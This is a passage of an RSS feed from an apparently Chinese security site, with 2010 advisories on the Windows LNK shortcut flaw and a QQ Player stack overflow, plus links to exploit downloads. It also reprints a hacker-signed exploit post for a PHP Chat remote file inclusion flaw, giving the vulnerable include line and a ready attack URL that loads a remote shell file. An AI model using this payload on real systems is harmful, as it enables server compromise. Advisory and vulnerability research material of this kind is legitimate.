<a href="http://www.microsoft.com/technet/security/advisory/2286198.mspx">http://www.microsoft.com/technet/security/advisory/2286198.mspx</a></p>
<p>相关链接：</p>
<p><a href="http://www.exploit-db.com/sploits/suckme.rar" target="_blank">http://www.exploit-db.com/sploits/suckme.rar</a><br />
<a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/brows" target="_blank">http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/brows</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/microsoft-windows-shortcut-lnk-files-automatically-code-execution-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>QQ影音ASX和CUE文件处理栈溢出漏洞</title>
		<link>http://www.hacker3.com/qq-video-asx-and-cue-file-handling-stack-overflow-vulnerability.html</link>
		<comments>http://www.hacker3.com/qq-video-asx-and-cue-file-handling-stack-overflow-vulnerability.html#comments</comments>
		<pubDate>Thu, 22 Jul 2010 11:07:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Advisory Bulletin]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=88</guid>
		<description><![CDATA[受影响系统： Tencent QQ影音 2.3.969.400p1 不受影响系统： Tencent QQ影音 2.4.716.400p1 描述： QQ影音是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。 用户受骗使用QQ影音打开了特制的ASX或CUE文件就可以触发栈溢出，导致执行任意代码。 &#60;*来源：Li Qingshan Lufeng Li （lilf@neusoft.com） 链接：http://secunia.com/advisories/40668/ *&#62; 测试方法： http://www.exploit-db.com/download/14428 http://www.exploit-db.com/download/14431 建议： 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://player.qq.com]]></description>
			<content:encoded><![CDATA[<p>受影响系统：<br />
Tencent QQ影音 2.3.969.400p1<br />
不受影响系统：<br />
Tencent QQ影音 2.4.716.400p1<br />
描述：<br />
QQ影音是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。</p>
<p>用户受骗使用QQ影音打开了特制的ASX或CUE文件就可以触发栈溢出，导致执行任意代码。<span id="more-88"></span></p>
<p>&lt;*来源：Li Qingshan Lufeng Li （lilf@neusoft.com） 链接：http://secunia.com/advisories/40668/ *&gt;</p>
<p>测试方法：<br />
<a href="http://www.exploit-db.com/download/14428">http://www.exploit-db.com/download/14428</a><br />
<a href="http://www.exploit-db.com/download/14431">http://www.exploit-db.com/download/14431</a></p>
<p>建议：<br />
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：</p>
<p>http://player.qq.com/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/qq-video-asx-and-cue-file-handling-stack-overflow-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Chat for 123 Flash Chat Remote File Inclusion Vulnerability</title>
		<link>http://www.hacker3.com/php-chat-for-123-flash-chat-remote-file-inclusion-vulnerability.html</link>
		<comments>http://www.hacker3.com/php-chat-for-123-flash-chat-remote-file-inclusion-vulnerability.html#comments</comments>
		<pubDate>Wed, 21 Jul 2010 11:34:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exploits and Shellcode]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=85</guid>
		<description><![CDATA[*# Exploit Title: php_chat Remote File inclusion Vulnerability # Date: 2010/07/20 # Author: HaCkEr arar # Email: y.0@hotmail.de # My Sites : www.vbspiders.com # Script home: http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html # Tested on: Windows # Team hacker:HaCkEr aRaR &#038; ViRuS Qalaa >>>X-MaN HaCk3r TeaM # ViRuS Qalaa: em9@live.com ::::::::::::::::::::::::: =================Exploit================= -=[ vuln c0de ]=- include(&#8216;db/&#8217;.$select_db.&#8217;.php&#8217;); login_chat.php Line:41 &#8212;-exploit&#8212;- ]]></description>
			<content:encoded><![CDATA[<p>*# Exploit Title:   php_chat Remote File inclusion Vulnerability<br />
# Date: 2010/07/20<br />
# Author: HaCkEr arar<br />
# Email: y.0@hotmail.de<br />
# My Sites : www.vbspiders.com<br />
# Script home:  </p>
<p>http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html</p>
<p># Tested on: Windows<br />
# Team hacker:HaCkEr aRaR &#038; ViRuS Qalaa >>>X-MaN HaCk3r TeaM<br />
# ViRuS Qalaa: em9@live.com  <span id="more-85"></span></p>
<p>:::::::::::::::::::::::::  </p>
<p>=================Exploit=================  </p>
<p>-=[ vuln c0de ]=-  </p>
<p>include(&#8216;db/&#8217;.$select_db.&#8217;.php&#8217;);  </p>
<p>login_chat.php  </p>
<p>Line:41  </p>
<p>&#8212;-exploit&#8212;-  </p>
<p>http://{localhost}/{path}login_chat.php?select_db=shell.txt?</p>
<p>&#8212;&#8212;&#8212;greatz&#8212;&#8212;&#8212;-  </p>
<p>Greatz to :  </p>
<p>ViRuS Qalaa,VoLc4n0,Members www.j1q1.com  </p>
<p>and My friends Others and My friends in MSN  </p>
<p>EnJoY o_O* </p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/php-chat-for-123-flash-chat-remote-file-inclusion-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

